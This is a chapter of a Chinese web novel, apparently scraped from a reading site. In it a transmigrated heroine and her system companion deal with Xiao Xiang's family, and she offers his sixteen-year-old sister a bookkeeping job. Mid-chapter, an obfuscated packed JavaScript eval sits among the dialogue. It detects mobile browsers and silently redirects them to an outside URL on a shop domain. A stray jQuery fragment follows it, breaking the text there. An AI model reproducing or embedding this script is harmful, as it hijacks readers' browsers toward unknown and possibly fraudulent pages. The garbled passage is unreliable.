这是什么天选账房啊!
一个小豆腐坊的账本都做的井井有条,这不就是现成的账房先生么。
秦万春有些激动的翻腾着那几张稿纸,抬起头看着一直紧盯着她的萧襄,
秦:“你妹妹呢?我想和她谈谈。”
萧:“私塾还没放学,你先睡一会吧,睡醒了她就回来了。”
一说起困,秦万春才想起来自己有多困,眼睛立刻就睁不开了,
“那我趴一会,她回来了告诉我哦。”
秦万春趴在书案前,没一会就睡熟了,呼吸规律像是只懒散的猫,萧襄盯着她看了一会,脱下自己的外袍,小心的披在她身上,
又盯了一会,还是觉得不妥,伸出手指轻轻戳了一下秦万春,
见她没有反应,才连人带衣服揉成一团抱在怀里。
秦万春睡得很熟,大约是在睡梦里闻到了和自己相同的芍药香,下意识的将脸埋进萧襄的胸口,不经意的蹭了蹭。
萧襄看着怀里人顿时僵住了,红着脸调整了几次呼吸,才迈步将人往自己房间抱,
他一出门就正碰上三双炯炯有神的眼睛,
李姨和李氏夫妇像是在门口等了很久,见他抱着人出来虽没说什么,可一双双眼睛里满是话。
“她不想睡忆萧的床,我带她去我房间。”
萧襄眼神有些躲闪,心虚的不敢去看长辈们的眼睛。
李姨:“快去吧,我和你爹娘有事商量,等会就出去了。”
李姨笑眯眯的看着他,笑里满是深意。
萧襄有些不理解,但也照做,毕竟怀里抱着个不安分的人,自己身上也难受,
他总觉得秦万春偷偷咬了他好几口,可又没有证据,就想着赶紧把人放下。
直到萧襄的房门彻底关上,一直沉默不语的李父才出声问道,
“秦小姐可靠么?”
“若像她母亲就可靠。”
李母拍了拍他的手背安抚道,
李母:“这本就是他们的姻缘,若萧将军府没有出事,他们早就该成婚了。”
李父:“她知道太子的身份,也知道那块玉佩就是太子印。”
秦万春自以为完美的表情管理,其实根本逃不过多年暗探的眼睛,
秦万春的小心思不过是职场上磨砺出来的,
那点家长里短,勾心斗角,与这个时代刀尖舔血练就出的城府相比,根本不值一提。
李母:“那她大概率也知道我们的身份了,目前看来她是站在我们这边的。”
李母看着沉寂的房门,不知在想些什么。
李姨:“都是命啊,当年萧襄执意要去秦府你们还不同意。”
李姨:“我觉得这就是命,该有的姻缘躲不掉。”
李姨是这三人中,唯一一个宽心的,她笑呵呵的挽着李母,
李姨:“走吧,既然秦小姐是站在我们这边的,那咱们藏了这么多年的人,也应该活动活动了。”
【是命躲不过,是任务逃不脱。】
在外旁观的小系统沉沉的叹了口气。
秦万春这一觉睡得出奇的熟,就像是晕了过去,一觉起来脑袋还有些发懵,
她迷迷糊糊的翻了个身,随手摩挲着,就碰倒了一团毛茸茸的暖,
什么东西?
不知为什么,这个地方就是让她觉得很踏实,即使摸到了什么奇怪的东西,她也没有惊慌,
她睁开眼,就看到萧襄熟睡的脸,贴得极近极近,温热的呼吸扑撒在她的脸上。
萧襄这个人虽然傻乎乎的,可在男女之事上向来极有分寸。
他应该是守在秦万春床边,实在撑不住了才趴在床边睡了一会,
那么大一坨人,也不知是怎么缩成小小一团,还扭成这种别扭的姿势。
他的发髻散开了,几缕黑发散落下来贴在脸上,秦万春随手替他拨弄开,就见他的浓密的睫毛抖了抖,像是睡得不安稳。
真是笨,困了就回房间睡,
自己这么大个人了,还需要守着么?
秦万春拾起他的一缕发,绕在指尖玩,他的头发黑而硬,一看就知道是个倔脾气的,
可呆猫的头发软乎乎的,却也是个倔脾气。
秦万春拿着头发玩了一会才稍稍清醒过来,这才注意到这间房并不是李忆萧的,
这房间实在是太简单了,几乎没有什么可以证明身份的物件,
明明什么都一应俱全,可你就是判断不出任何主人的信息。
[统宝,这是哪?]
【宿主你醒啦,这是财神爷的房间哦。】
[他的房间为什么这么空。]
【不是空哦。】
【这是他养父从小训练出来的,不能在任何地方留下自己的痕迹。】
【很难的哦。】
萧襄身份特殊,确实需要些保命技巧,
可若人活在这世上,却不曾留下一丝自己的痕迹,
是不是有些可悲?
秦万春看着萧襄那张熟睡的脸,心底突然有那么一丝丝可悲,不过很快又被自己说服了,
有什么可悲的,人生在世还是命重要,
自己上辈子不比这个惨,命没了,还什么都没留下。
可怜男人倒霉一辈子!
秦万春被自己的想法逗笑了,好心情的戳了戳萧襄的鼻子,
也不知道是怎么长得,又高又挺。
【宿主,还有一件事我觉得你得知道。】
[怎么啦。]
【李氏夫妇要往你的酒楼安插人手,都是萧将军府的旧部,已经蛰伏了好多年。】
[来我酒楼做什么,不过我们福利待遇确实好,来就来吧。]
秦万春向来是个宽心的,这个世界又不需要员工背调,
再说萧家的旧部听起来就是个麻利的,正好自己缺人手。
【可是宿主,这样你就被卷进萧家的事里了。】
[可从你给我安排任务起,我本来就被卷进来了。]
也是哦...
小系统有点内疚,但不多。
[反正等到他姐姐把他接回去,我的任务不就完成了么。]
[那时候有没有酒楼都一样,反正那会也有钱了。]
是哎...
秦万春很快就把小系统和自己哄个明明白白。
可她一转头却看见萧襄在很安静的看着他,一点声音都没有,就连呼吸都保持着睡觉时的频率。
这一次她是真的被吓到了,
秦:“你你你...什么时候醒的...怎么不出声。”
萧襄眨眨眼睛,亮亮的眼睛里没有丝毫困倦,可他却说,
萧:“刚醒。”
秦:“醒了怎么不出声?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715132|208181||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
萧:“我刚要说话你就发现了。”
他又回答的理直气壮,搞得秦万春倒不好斤斤计较了。
萧:“我妹妹应该回来了,我带你去见她。”
萧襄替她拉开被子,本想跪在地上伺候她穿鞋,却被秦万春无情的拒绝了,就只好蹲在一边眼巴巴的等着她,
这屋子实在是太空了,空的秦万春莫名的心慌,
这间屋子就连味道也没有,正常的屋子里或多或少都会有主人的味道,
可这间屋子,就连一点点霉味都没有。
“这是你的屋子?”
秦万春明知故问,她只是想让这间屋子多一点声响,显得没有那么空旷。
“对。”
“很干净。”
确实干净。
萧襄的眼神落在那张睡得有些散乱的床铺上,那里还残存着温热的芍药香。
这间屋子里,终于有些痕迹了。
还未走进李忆萧的房间,就听见门口传来哒哒哒的飞奔声,紧接着就是小姑娘清脆的叫喊声,
“哥!嫂子呢嫂子呢!”
一个高挑瘦削的身影冲了出来,在即将扎进秦万春怀里之前,被萧襄拽着衣领提起来了,
“别乱叫人,这是秦小姐。”
萧襄难得沉下来,秦万春也是头一次听见他这个语气,
本想看看这张俊脸生气起来是什么样子,一抬头却正对上张害羞的大红脸,
好家伙,
好个虚张声势。
小姑娘终于站定,秦万春才能好好打量她,
李忆萧生得酷似李母,也是一副端庄典雅的美人相貌,只是性格却与李母大相径庭,
这小丫头一看就是个活泼性子,被萧襄截停在一边,还忍不住偷偷抬起眼睛,自以为隐蔽的打量着秦万春。
秦:“你今年多大了?”
李:“十六。”
还好还好,十六了不算雇佣童工。
“私塾里学业忙不忙啊?”
秦万春像是个人贩子徐徐善诱着。
“还好,女子也不能参加科举,每天就学着认字管家。”
小丫头对秦万春也有着无限的好奇心,若不是萧襄拦着,这小丫头都要贴到秦万春脸上了。
“我要开个酒楼,你有没有兴趣来做账房先生?”
此话一出,兄妹二人都呆住了。
那可是账房先生啊!
随随便便就能神不知鬼不觉的贪上几笔。
所以铺子里的账房大多会用亲信之人,就算是贪几笔也都有数。
而秦家的铺子,却要用一个刚刚十六岁的外姓小丫头,
这不是胡闹么?
萧:“不行,她不是秦家人。”
萧襄想都不想就拒绝了。
秦:“不是秦家人怎么了,哪条法律要求账房先生必须要本家人么?”
萧:“她不会签身契的。”
秦:“没让她卖身契啊,就是像那群小姑娘一样,签个几年合同就行。”
秦万春本以为万事俱备,没成想这只笨熊竟然会出来阻拦。
萧:“你不怕她贪铺子里的钱?”
秦:“少贪一点不影响铺子运作就好。”
这个世界的账房哪有不贪的,在合理范围就好。
“不行。”
完了,这只呆熊的倔脾气又上来了。